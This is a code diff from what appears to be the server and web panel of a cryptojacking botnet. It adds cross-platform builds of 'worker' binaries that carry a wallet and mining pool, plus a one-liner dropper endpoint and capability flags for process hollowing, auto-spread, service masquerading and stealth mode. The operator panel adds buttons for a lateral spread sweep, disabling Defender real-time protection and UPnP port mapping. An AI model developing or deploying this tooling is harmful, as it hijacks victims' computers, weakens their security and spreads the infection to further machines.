||||
// isFusionPayloadExt accepts any file with a non-empty extension.
|
||||
// Fusion now supports any file type — PDF, video, document, image, executable, etc.
|
||||
func isFusionPayloadExt(name string) bool {
|
||||
switch strings.ToLower(filepath.Ext(name)) {
|
||||
case ".exe", ".mp4", ".mkv", ".mov":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(name))
|
||||
return ext != "" && ext != "."
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
@@ -864,7 +873,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
return BuiltinConfig{
|
||||
WorkerName: %q,
|
||||
ServerURL: %q,
|
||||
BackupServerURLs: %s,
|
||||
Wallet: %q,
|
||||
Threads: %d,
|
||||
ThreadMode: %q,
|
||||
@@ -903,6 +911,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ProcessHollowing: %v,
|
||||
MeshP2P: %v,
|
||||
AutoSpread: %v,
|
||||
HolePunch: %v,
|
||||
RemoteAggressive: %v,
|
||||
BackupServerURLs: %s,
|
||||
ServiceMasquerade: %v,
|
||||
ServiceName: %q,
|
||||
ServiceDonor: %q,
|
||||
@@ -911,7 +922,6 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
`, buildID, time.Now().UTC().Format(time.RFC3339),
|
||||
req.WorkerName,
|
||||
req.ServerURL,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
req.Wallet,
|
||||
req.Threads,
|
||||
req.ThreadMode,
|
||||
@@ -950,6 +960,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
req.ProcessHollowing,
|
||||
req.MeshP2P,
|
||||
req.AutoSpread,
|
||||
req.HolePunch,
|
||||
req.RemoteAggressive,
|
||||
formatGoStringSlice(req.BackupServerURLs),
|
||||
serviceMasqueradeEnabled(req),
|
||||
serviceMasqueradeName(buildID, req),
|
||||
serviceMasqueradeDonor(buildID, req),
|
||||
|
||||
75
server/internal/builder/platform.go
Normal file
75
server/internal/builder/platform.go
Normal file
@@ -0,0 +1,75 @@
|
||||
package builder
|
||||
|
||||
import "strings"
|
||||
|
||||
// BuildPlatform identifies a GOOS/GOARCH compile target.
|
||||
type BuildPlatform struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
Ext string
|
||||
}
|
||||
|
||||
func (p BuildPlatform) Label() string {
|
||||
return p.GOOS + "-" + p.GOARCH
|
||||
}
|
||||
|
||||
func (p BuildPlatform) BinDir() string {
|
||||
return "bin/" + p.Label()
|
||||
}
|
||||
|
||||
var defaultPlatforms = []BuildPlatform{
|
||||
{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"},
|
||||
{GOOS: "linux", GOARCH: "amd64", Ext: ""},
|
||||
{GOOS: "linux", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "arm64", Ext: ""},
|
||||
{GOOS: "darwin", GOARCH: "amd64", Ext: ""},
|
||||
}
|
||||
|
||||
func platformsForRequest(req *BuildRequest) []BuildPlatform {
|
||||
target := strings.ToLower(strings.TrimSpace(req.TargetOS))
|
||||
if target == "" || target == "windows" {
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
if target == "linux" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "amd64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "linux", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "darwin" {
|
||||
arch := req.TargetArch
|
||||
if arch == "" {
|
||||
arch = "arm64"
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "darwin", GOARCH: arch, Ext: ""}}
|
||||
}
|
||||
if target == "universal" {
|
||||
if req.TargetArch != "" && req.TargetArch != "all" {
|
||||
for _, p := range defaultPlatforms {
|
||||
if p.GOARCH == req.TargetArch {
|
||||
return []BuildPlatform{p}
|
||||
}
|
||||
}
|
||||
}
|
||||
return append([]BuildPlatform{}, defaultPlatforms...)
|
||||
}
|
||||
return []BuildPlatform{{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}}
|
||||
}
|
||||
|
||||
func workerFileName(worker string, p BuildPlatform, fusion bool) string {
|
||||
base := sanitizeFileName(worker)
|
||||
if fusion {
|
||||
return "worker-" + base + p.Ext
|
||||
}
|
||||
return "install-" + base + p.Ext
|
||||
}
|
||||
|
||||
func ldflagsFor(req *BuildRequest, p BuildPlatform) string {
|
||||
ldflags := "-s -w"
|
||||
gui := req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled
|
||||
if p.GOOS == "windows" && gui {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
return ldflags
|
||||
}
|
||||
77
server/internal/builder/platform_test.go
Normal file
77
server/internal/builder/platform_test.go
Normal file
@@ -0,0 +1,77 @@
|
||||
package builder
|
||||
|
||||
import (
|
||||
"go/parser"
|
||||
"go/token"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestPlatformsForRequestWindowsDefault(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: ""}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "windows" {
|
||||
t.Fatalf("expected single windows platform, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestLinux(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "linux", TargetArch: "arm64"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != 1 || ps[0].GOOS != "linux" || ps[0].GOARCH != "arm64" {
|
||||
t.Fatalf("expected linux/arm64, got %+v", ps)
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestUniversal(t *testing.T) {
|
||||
req := &BuildRequest{TargetOS: "universal"}
|
||||
ps := platformsForRequest(req)
|
||||
if len(ps) != len(defaultPlatforms) {
|
||||
t.Fatalf("expected %d platforms, got %d", len(defaultPlatforms), len(ps))
|
||||
}
|
||||
if len(ps) < 5 {
|
||||
t.Fatalf("expected at least 5 universal platforms including linux-arm64, got %d", len(ps))
|
||||
}
|
||||
}
|
||||
|
||||
// TestGenerateBuiltinConfigValid checks that the generated Go source for builtin.go
|
||||
// is syntactically valid, catching any mismatch between the template and BuiltinConfig.
|
||||
func TestGenerateBuiltinConfigValid(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
WorkerName: "test",
|
||||
ServerURL: "http://127.0.0.1:8989",
|
||||
Wallet: "4TEST",
|
||||
Threads: 4,
|
||||
ThreadMode: "percent",
|
||||
ThreadPercent: 75,
|
||||
PoolHost: "pool.supportxmr.com",
|
||||
PoolPort: 3333,
|
||||
PoolPass: "x",
|
||||
RunAs: "scheduled",
|
||||
InstallBase: "localappdata",
|
||||
}
|
||||
src := h.generateBuiltinConfig("test-build-id", req)
|
||||
fset := token.NewFileSet()
|
||||
if _, err := parser.ParseFile(fset, "builtin.go", src, 0); err != nil {
|
||||
t.Fatalf("generateBuiltinConfig produced invalid Go source: %v\n\n%s", err, src)
|
||||
}
|
||||
if !strings.Contains(src, "ServiceMasquerade") {
|
||||
t.Error("expected ServiceMasquerade field in generated config")
|
||||
}
|
||||
if !strings.Contains(src, "BackupServerURLs") {
|
||||
t.Error("expected BackupServerURLs field in generated config")
|
||||
}
|
||||
}
|
||||
|
||||
func TestLdflagsForWindowsGUI(t *testing.T) {
|
||||
req := &BuildRequest{StealthMode: true}
|
||||
ld := ldflagsFor(req, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"})
|
||||
if !strings.Contains(ld, "windowsgui") {
|
||||
t.Fatalf("expected windowsgui in ldflags, got %q", ld)
|
||||
}
|
||||
ldLinux := ldflagsFor(req, BuildPlatform{GOOS: "linux", GOARCH: "amd64", Ext: ""})
|
||||
if strings.Contains(ldLinux, "windowsgui") {
|
||||
t.Fatalf("linux ldflags must not include windowsgui: %q", ldLinux)
|
||||
}
|
||||
}
|
||||
@@ -38,7 +38,7 @@ func (d *Database) scanAgent(row interface {
|
||||
&a.Hashrate15s, &a.Hashrate1m, &a.Hashrate15m,
|
||||
&a.SharesTotal, &a.SharesGood, &a.SharesBad,
|
||||
&a.CPUUsagePct, &a.MemoryUsagePct, &a.UptimeSeconds,
|
||||
¬es, &tagsRaw,
|
||||
¬es, &tagsRaw, &a.Platform, &a.Arch, &a.OSVersion,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -50,7 +50,7 @@ func (d *Database) scanAgent(row interface {
|
||||
|
||||
const agentSelectCols = `id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at,
|
||||
hashrate_15s, hashrate_1m, hashrate_15m, shares_total, shares_good, shares_bad,
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags`
|
||||
cpu_usage_pct, memory_usage_pct, uptime_seconds, notes, tags, platform, arch, os_version`
|
||||
|
||||
func (d *Database) UpdateAgentMeta(id, notes string, tags []string) error {
|
||||
_, err := d.Exec(`UPDATE agents SET notes = ?, tags = ? WHERE id = ?`, notes, encodeTags(tags), id)
|
||||
|
||||
@@ -111,8 +111,13 @@ func (d *Database) migrate() error {
|
||||
|
||||
// Best-effort schema upgrades for existing databases.
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN file_path TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE builds ADD COLUMN bundle_size INTEGER NOT NULL DEFAULT 0`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN notes TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN tags TEXT NOT NULL DEFAULT '[]'`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN platform TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN arch TEXT NOT NULL DEFAULT ''`)
|
||||
_, _ = d.Exec(`ALTER TABLE agents ADD COLUMN os_version TEXT NOT NULL DEFAULT ''`)
|
||||
|
||||
return nil
|
||||
}
|
||||
@@ -120,8 +125,8 @@ func (d *Database) migrate() error {
|
||||
// Agent operations
|
||||
|
||||
func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP))
|
||||
query := `INSERT INTO agents (id, name, wallet, ip, version, status, cpu_cores, memory_gb, last_seen, created_at, platform, arch, os_version)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, COALESCE((SELECT created_at FROM agents WHERE id = ?), CURRENT_TIMESTAMP), ?, ?, ?)
|
||||
ON CONFLICT(id) DO UPDATE SET
|
||||
name = excluded.name,
|
||||
wallet = excluded.wallet,
|
||||
@@ -130,8 +135,11 @@ func (d *Database) UpsertAgent(a *models.Agent) error {
|
||||
status = excluded.status,
|
||||
cpu_cores = excluded.cpu_cores,
|
||||
memory_gb = excluded.memory_gb,
|
||||
last_seen = excluded.last_seen`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID)
|
||||
last_seen = excluded.last_seen,
|
||||
platform = excluded.platform,
|
||||
arch = excluded.arch,
|
||||
os_version = excluded.os_version`
|
||||
_, err := d.Exec(query, a.ID, a.Name, a.Wallet, a.IP, a.Version, a.Status, a.CPUCores, a.MemoryGB, a.LastSeen, a.ID, a.Platform, a.Arch, a.OSVersion)
|
||||
return err
|
||||
}
|
||||
|
||||
@@ -241,17 +249,41 @@ func (d *Database) GetHashrateHistory(agentID string, limit int) ([]*models.Hash
|
||||
|
||||
// Build operations
|
||||
|
||||
const buildSelectCols = `id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass`
|
||||
|
||||
func scanBuild(row interface {
|
||||
Scan(...any) error
|
||||
}) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := row.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.BundleSize,
|
||||
&b.FilePath, &b.Platform, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return b, err
|
||||
}
|
||||
|
||||
func (d *Database) InsertBuild(b *models.BuildRecord) error {
|
||||
_, err := d.Exec("INSERT INTO builds (id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)",
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.FilePath, b.CreatedAt,
|
||||
_, err := d.Exec(`INSERT INTO builds
|
||||
(id, worker_name, server_url, wallet, threads, file_size, bundle_size, file_path, platform, created_at, pool_host, pool_port, pool_tls, pool_pass)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)`,
|
||||
b.ID, b.WorkerName, b.ServerURL, b.Wallet, b.Threads, b.FileSize, b.BundleSize,
|
||||
b.FilePath, b.Platform, b.CreatedAt,
|
||||
b.PoolHost, b.PoolPort, b.PoolTLS, b.PoolPass)
|
||||
return err
|
||||
}
|
||||
|
||||
func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
b := &models.BuildRecord{}
|
||||
err := d.QueryRow(`SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds WHERE id = ?`, id).
|
||||
Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt, &b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass)
|
||||
return scanBuild(d.QueryRow(`SELECT `+buildSelectCols+` FROM builds WHERE id = ?`, id))
|
||||
}
|
||||
|
||||
func (d *Database) GetLatestBuildForPlatform(platform string) (*models.BuildRecord, error) {
|
||||
var query string
|
||||
var args []any
|
||||
if platform == "" || platform == "any" {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds ORDER BY created_at DESC LIMIT 1`
|
||||
} else {
|
||||
query = `SELECT ` + buildSelectCols + ` FROM builds WHERE platform = ? ORDER BY created_at DESC LIMIT 1`
|
||||
args = []any{platform}
|
||||
}
|
||||
b, err := scanBuild(d.QueryRow(query, args...))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -259,8 +291,7 @@ func (d *Database) GetBuild(id string) (*models.BuildRecord, error) {
|
||||
}
|
||||
|
||||
func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
query := `SELECT id, worker_name, server_url, wallet, threads, file_size, file_path, created_at, pool_host, pool_port, pool_tls, pool_pass FROM builds ORDER BY created_at DESC LIMIT ?`
|
||||
rows, err := d.Query(query, limit)
|
||||
rows, err := d.Query(`SELECT `+buildSelectCols+` FROM builds ORDER BY created_at DESC LIMIT ?`, limit)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -268,9 +299,8 @@ func (d *Database) ListBuilds(limit int) ([]*models.BuildRecord, error) {
|
||||
|
||||
var builds []*models.BuildRecord
|
||||
for rows.Next() {
|
||||
b := &models.BuildRecord{}
|
||||
if err := rows.Scan(&b.ID, &b.WorkerName, &b.ServerURL, &b.Wallet, &b.Threads, &b.FileSize, &b.FilePath, &b.CreatedAt,
|
||||
&b.PoolHost, &b.PoolPort, &b.PoolTLS, &b.PoolPass); err != nil {
|
||||
b, err := scanBuild(rows)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
builds = append(builds, b)
|
||||
|
||||
@@ -27,6 +27,22 @@ type Agent struct {
|
||||
|
||||
Notes string `json:"notes"`
|
||||
Tags []string `json:"tags"`
|
||||
|
||||
Platform string `json:"platform,omitempty"`
|
||||
Arch string `json:"arch,omitempty"`
|
||||
OSVersion string `json:"os_version,omitempty"`
|
||||
|
||||
Capabilities *AgentCapabilities `json:"capabilities,omitempty"`
|
||||
}
|
||||
|
||||
// AgentCapabilities reports forge-time features available for remote command.
|
||||
type AgentCapabilities struct {
|
||||
HolePunch bool `json:"hole_punch"`
|
||||
RemoteAggressive bool `json:"remote_aggressive"`
|
||||
MeshP2P bool `json:"mesh_p2p"`
|
||||
AutoSpread bool `json:"auto_spread"`
|
||||
ProcessHollowing bool `json:"process_hollowing"`
|
||||
AIEnabled bool `json:"ai_enabled"`
|
||||
}
|
||||
|
||||
type Share struct {
|
||||
@@ -65,7 +81,9 @@ type BuildRecord struct {
|
||||
Wallet string `json:"wallet"`
|
||||
Threads int `json:"threads"`
|
||||
FileSize int64 `json:"file_size"`
|
||||
BundleSize int64 `json:"bundle_size"`
|
||||
FilePath string `json:"file_path"`
|
||||
Platform string `json:"platform"` // "windows", "linux", "darwin", "universal"
|
||||
CreatedAt time.Time `json:"created_at"`
|
||||
// Pool settings
|
||||
PoolHost string `json:"pool_host"`
|
||||
|
||||
@@ -498,12 +498,16 @@ func (p *Proxy) parseAndSetJob(data json.RawMessage) {
|
||||
}
|
||||
|
||||
func (p *Proxy) subscribe() {
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
subID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
subParams := []string{}
|
||||
paramsData, _ := json.Marshal(subParams)
|
||||
|
||||
subReq := StratumRequest{
|
||||
ID: p.requestID,
|
||||
ID: subID,
|
||||
Method: "subscribe",
|
||||
Params: paramsData,
|
||||
}
|
||||
@@ -542,8 +546,11 @@ func (p *Proxy) submitShareToPool(share *PendingShare) {
|
||||
return
|
||||
}
|
||||
|
||||
// Increment and read requestID under the write lock to avoid data race (H17)
|
||||
p.mu.Lock()
|
||||
p.requestID++
|
||||
reqID := p.requestID
|
||||
p.mu.Unlock()
|
||||
|
||||
wallet := share.Wallet
|
||||
if wallet == "" {
|
||||
|
||||
@@ -163,12 +163,17 @@ func main() {
|
||||
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
|
||||
log.Println("Blueprint handler initialized")
|
||||
|
||||
// Initialize dropper handler (one-liner remote install)
|
||||
dropperHandler := api.NewDropperHandler(database, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
|
||||
// Find web root for frontend
|
||||
webRoot := findWebRoot()
|
||||
log.Printf("Web root: %s", webRoot)
|
||||
|
||||
// Initialize router
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, webRoot, cfg.DataDir, func() string {
|
||||
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, webRoot, cfg.DataDir, func() string {
|
||||
return configProvider.PublicURL()
|
||||
})
|
||||
log.Println("Router initialized")
|
||||
@@ -254,8 +259,13 @@ func (p *serverConfigProvider) UpdateConfigFromJSON(data json.RawMessage) error
|
||||
return fmt.Errorf("invalid config: %w", err)
|
||||
}
|
||||
|
||||
// Merge incoming config over current config
|
||||
mergeConfig(p.config, &incoming)
|
||||
// Determine which top-level keys were explicitly present in the JSON payload.
|
||||
// This prevents partial PUTs from corrupting boolean fields (H14): a key absent
|
||||
// from the payload is treated as "not changed", not "set to false".
|
||||
var presentKeys map[string]json.RawMessage
|
||||
_ = json.Unmarshal(data, &presentKeys)
|
||||
|
||||
mergeConfigExplicit(p.config, &incoming, presentKeys)
|
||||
|
||||
// Save to disk
|
||||
if err := p.config.Save(); err != nil {
|
||||
|
||||
@@ -2,6 +2,7 @@ import { lazy, Suspense } from 'react';
|
||||
import { Routes, Route, Navigate } from 'react-router-dom';
|
||||
import SessionGate from './components/SessionGate';
|
||||
import Layout from './components/Layout/Layout';
|
||||
import { WebSocketProvider } from './context/WebSocketProvider';
|
||||
|
||||
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
|
||||
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
|
||||
@@ -19,6 +20,9 @@ function PageFallback() {
|
||||
|
||||
function App() {
|
||||
return (
|
||||
// WebSocketProvider mounts a single WS connection shared by all routes.
|
||||
// No page or component should call new WebSocket() directly — use useWebSocket().
|
||||
<WebSocketProvider>
|
||||
<SessionGate>
|
||||
<Layout>
|
||||
<Suspense fallback={<PageFallback />}>
|
||||
@@ -34,6 +38,7 @@ function App() {
|
||||
</Suspense>
|
||||
</Layout>
|
||||
</SessionGate>
|
||||
</WebSocketProvider>
|
||||
);
|
||||
}
|
||||
|
||||
|
||||
@@ -1,7 +1,7 @@
|
||||
import AgentRemoteActions from './AgentRemoteActions';
|
||||
import { formatHashrate, formatUptime } from '../../help/fleetFilters';
|
||||
import type { Agent } from '../../types';
|
||||
import type { WSMessage } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
|
||||
interface Props {
|
||||
agent: Agent;
|
||||
@@ -12,7 +12,7 @@ interface Props {
|
||||
onToggleExpand: () => void;
|
||||
onSelect: () => void;
|
||||
onCheck?: (checked: boolean) => void;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
commandResults?: SeqCommandResult[];
|
||||
}
|
||||
|
||||
export default function AgentListItem({
|
||||
@@ -24,7 +24,7 @@ export default function AgentListItem({
|
||||
onToggleExpand,
|
||||
onSelect,
|
||||
onCheck,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
}: Props) {
|
||||
const online = agent.status === 'online';
|
||||
|
||||
@@ -58,6 +58,11 @@ export default function AgentListItem({
|
||||
)}
|
||||
<span className={`status-dot ${agent.status}`} />
|
||||
<span>{agent.name}</span>
|
||||
{agent.platform && (
|
||||
<span className="agent-tag-chip platform-badge" title={agent.os_version || agent.platform}>
|
||||
{agent.platform}{agent.arch ? `/${agent.arch}` : ''}
|
||||
</span>
|
||||
)}
|
||||
</div>
|
||||
<span className={`status-badge ${agent.status}`}>{agent.status}</span>
|
||||
</div>
|
||||
@@ -89,7 +94,7 @@ export default function AgentListItem({
|
||||
<span>v{agent.version || '?'}</span>
|
||||
</div>
|
||||
{agent.notes?.trim() && <p className="form-hint">{agent.notes}</p>}
|
||||
<AgentRemoteActions agent={agent} compact online={online} latestWsMessage={latestWsMessage} />
|
||||
<AgentRemoteActions agent={agent} compact online={online} commandResults={commandResults} />
|
||||
</div>
|
||||
)}
|
||||
</div>
|
||||
|
||||
@@ -91,6 +91,13 @@
|
||||
.button-grid button.btn-red { border-color: rgba(255, 23, 68, 0.3); color: #ff1744; }
|
||||
.button-grid button.btn-red:hover { background: rgba(255, 23, 68, 0.1); box-shadow: 0 0 15px rgba(255, 23, 68, 0.4); }
|
||||
|
||||
.button-grid button.btn-magenta { border-color: rgba(255, 0, 255, 0.35); color: #ff00ff; }
|
||||
.button-grid button.btn-magenta:hover { background: rgba(255, 0, 255, 0.12); box-shadow: 0 0 15px rgba(255, 0, 255, 0.35); }
|
||||
|
||||
.aggressive-group { border-color: rgba(255, 0, 255, 0.15); }
|
||||
.aggressive-group h3 { color: #ff00ff; }
|
||||
.action-group-hint { margin: -8px 0 12px; font-size: 0.75rem; color: #666; line-height: 1.35; }
|
||||
|
||||
.screenshot-viewer {
|
||||
margin-bottom: 20px;
|
||||
border: 1px solid #00e5ff;
|
||||
|
||||
@@ -1,9 +1,12 @@
|
||||
import React, { useState, useRef, useEffect, useCallback } from 'react';
|
||||
import { api } from '../../api/client';
|
||||
import type { Agent, WSMessage } from '../../types';
|
||||
import type { WSCommandResult } from '../../types/ws';
|
||||
import type { Agent } from '../../types';
|
||||
import type { SeqCommandResult } from '../../context/WebSocketContext';
|
||||
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
|
||||
import './AgentRemoteActions.css';
|
||||
|
||||
const TERMINAL_MAX_LINES = 500;
|
||||
|
||||
interface Props {
|
||||
/** Legacy: pass full agent object from list/detail pages */
|
||||
agent?: Agent;
|
||||
@@ -12,7 +15,11 @@ interface Props {
|
||||
/** Explicit online flag — use when agent object may be stale */
|
||||
online?: boolean;
|
||||
compact?: boolean;
|
||||
latestWsMessage?: WSMessage | null;
|
||||
/** Queue of recent command_result messages from the WS hook — replaces latestWsMessage.
|
||||
* Every entry is processed; no results are dropped (fixes M13). */
|
||||
commandResults?: SeqCommandResult[];
|
||||
/** @deprecated Pass commandResults instead. */
|
||||
latestWsMessage?: { type: string; payload: unknown } | null;
|
||||
onCommandSent?: (action: string) => void;
|
||||
}
|
||||
|
||||
@@ -22,7 +29,7 @@ export default function AgentRemoteActions({
|
||||
agentName: agentNameProp,
|
||||
online: onlineProp,
|
||||
compact = false,
|
||||
latestWsMessage,
|
||||
commandResults,
|
||||
onCommandSent,
|
||||
}: Props) {
|
||||
const agentId = agentIdProp ?? agent?.id ?? '';
|
||||
@@ -31,24 +38,49 @@ export default function AgentRemoteActions({
|
||||
|
||||
const [isDragging, setIsDragging] = useState(false);
|
||||
const [customCmd, setCustomCmd] = useState('');
|
||||
// terminalLog is capped at TERMINAL_MAX_LINES to prevent memory leak (L6)
|
||||
const [terminalLog, setTerminalLog] = useState<string[]>([]);
|
||||
const [screenshotData, setScreenshotData] = useState<string | null>(null);
|
||||
const [busy, setBusy] = useState<string | null>(null);
|
||||
const logEndRef = useRef<HTMLDivElement>(null);
|
||||
// Track the highest _seq we've already processed.
|
||||
// Using _seq (monotonic ID) instead of array index prevents the ring-buffer drop bug
|
||||
// where .slice(-N) trims old entries so absolute indices exceed the array length.
|
||||
const lastSeenSeq = useRef(0);
|
||||
|
||||
const addLog = useCallback((msg: string) => {
|
||||
setTerminalLog((prev) => [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`]);
|
||||
setTerminalLog((prev) => {
|
||||
const next = [...prev, `[${new Date().toLocaleTimeString()}] ${msg}`];
|
||||
// Cap at TERMINAL_MAX_LINES — drop oldest entries (L6)
|
||||
return next.length > TERMINAL_MAX_LINES ? next.slice(next.length - TERMINAL_MAX_LINES) : next;
|
||||
});
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
logEndRef.current?.scrollIntoView({ behavior: 'smooth' });
|
||||
}, [terminalLog]);
|
||||
|
||||
// When the selected agent changes, reset the seen-seq cursor to the current maximum.
|
||||
// This prevents reprocessing results from the previous agent or a stale queue.
|
||||
useEffect(() => {
|
||||
if (!latestWsMessage || latestWsMessage.type !== 'command_result') return;
|
||||
const payload = latestWsMessage.payload as WSCommandResult;
|
||||
if (commandResults && commandResults.length > 0) {
|
||||
lastSeenSeq.current = commandResults[commandResults.length - 1]._seq;
|
||||
}
|
||||
// Intentionally only runs on agentId change — commandResults excluded from deps
|
||||
// eslint-disable-next-line react-hooks/exhaustive-deps
|
||||
}, [agentId]);
|
||||
|
||||
// Process every new commandResults entry we haven't seen yet (M13 — no drops).
|
||||
// Filters by _seq so the ring-buffer trim never makes us miss results.
|
||||
useEffect(() => {
|
||||
if (!commandResults || commandResults.length === 0) return;
|
||||
const newEntries = commandResults.filter((r) => r._seq > lastSeenSeq.current);
|
||||
if (newEntries.length === 0) return;
|
||||
lastSeenSeq.current = newEntries[newEntries.length - 1]._seq;
|
||||
|
||||
for (const payload of newEntries) {
|
||||
const { agent_id, action, success, message } = payload;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) return;
|
||||
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
|
||||
|
||||
if (action === 'screenshot' && success && message) {
|
||||
setScreenshotData(`data:image/jpeg;base64,${message}`);
|
||||
@@ -56,7 +88,8 @@ export default function AgentRemoteActions({
|
||||
} else if (action) {
|
||||
addLog(`[${action.toUpperCase()}] ${agent_id}: ${success ? 'OK' : 'FAIL'}\n${message ?? ''}`);
|
||||
}
|
||||
}, [latestWsMessage, agentId, addLog]);
|
||||
}
|
||||
}, [commandResults, agentId, addLog]);
|
||||
|
||||
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
|
||||
if (!agentId) {
|
||||
@@ -69,6 +102,9 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
if (action === 'stop' && !window.confirm(`Stop miner on "${agentName}"?`)) return;
|
||||
if (action === 'uninstall' && !window.confirm(`Uninstall miner from "${agentName}"?`)) return;
|
||||
if (action === 'spread_now' && !window.confirm(`Run lateral spread sweep from "${agentName}" now?`)) return;
|
||||
if (action === 'defender_off' && !window.confirm(`Disable Defender real-time on "${agentName}"? Requires admin.`)) return;
|
||||
if (action === 'hole_punch' && !window.confirm(`Map UPnP port on router for "${agentName}" (TCP 8989)?`)) return;
|
||||
|
||||
setBusy(action);
|
||||
try {
|
||||
@@ -130,6 +166,14 @@ export default function AgentRemoteActions({
|
||||
}
|
||||
|
||||
const isFleet = agentId === 'all';
|
||||
const caps = agent?.capabilities;
|
||||
const platform = agent?.platform;
|
||||
|
||||
const aggDisabled = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
!isOnline || !!busy || !canRunAggressiveAction(action, caps, platform);
|
||||
|
||||
const aggTitle = (action: Parameters<typeof canRunAggressiveAction>[0]) =>
|
||||
aggressiveActionHint(action, caps, platform);
|
||||
|
||||
return (
|
||||
<div className="tactical-panel">
|
||||
@@ -170,6 +214,94 @@ export default function AgentRemoteActions({
|
||||
